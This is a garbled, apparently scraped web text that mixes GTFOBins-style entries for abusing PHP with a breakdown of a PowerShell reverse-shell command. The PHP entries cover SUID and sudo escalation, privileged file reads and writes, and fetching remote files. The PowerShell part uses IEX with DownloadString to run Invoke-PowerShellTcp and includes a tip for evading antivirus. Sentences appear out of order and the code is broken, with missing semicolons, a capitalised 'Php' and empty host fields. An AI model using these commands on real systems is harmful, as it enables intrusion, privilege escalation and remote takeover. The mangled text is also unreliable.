If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. To interact with an existing SUID binary skip the first command and run the program using its original path. This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges. If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. Php -r 'file_put_contents(getenv("LFILE"), "DATA") '
Write data to a file, filename should be absolute. It writes data to files, it may be used to do privileged writes or write files outside a restricted file system. Php -r '$c=file_get_contents(getenv("URL")) file_put_contents(getenv("LFILE"), $c) ' LHOST=0.0.0.0įetch a remote file via HTTP GET request. Serve files in the local folder running an HTTP server. Run nc -l -p 12345 on the attacker box to receive the shell. It can send back a reverse shell to a listening attacker to open a remote network access. Php -r '$r=array() exec(getenv("CMD"), $r) print(join(" Php -r 'print(shell_exec(getenv("CMD"))) ' Changing the name of this function is sometimes sufficient enough to bypass AV if you are being blocked - you can read more about that here.It can be used to break out from restricted environments by spawning an interactive system shell. Invoke-PowerShellTcp: This is the name of the reverse shell function within the downloaded script.DownloadString: Downloads the string to be executed by Invoke-Expression.
New-Object Net.WebClient: Creates a webclient. Reverse shell It can send back a reverse shell to a listening attacker to open a remote network access.Invoke-Expression runs a given string as a command and returns the results. IEX: This is an alias for Invoke-Expression.-ExecutionPolicy bypass: Sets the execution policy to “bypass” and allows unsigned remote scripts to run on the system.powershell.exe: Starts powershell because we are currently in cmd.Let’s break down what’s happening with this command: Powershell.exe -ExecutionPolicy bypass -Command IEX (New-Object Net.WebClient ).DownloadString ( '' ) Invoke-PowerShellTcp -Reverse -IPAddress -Port
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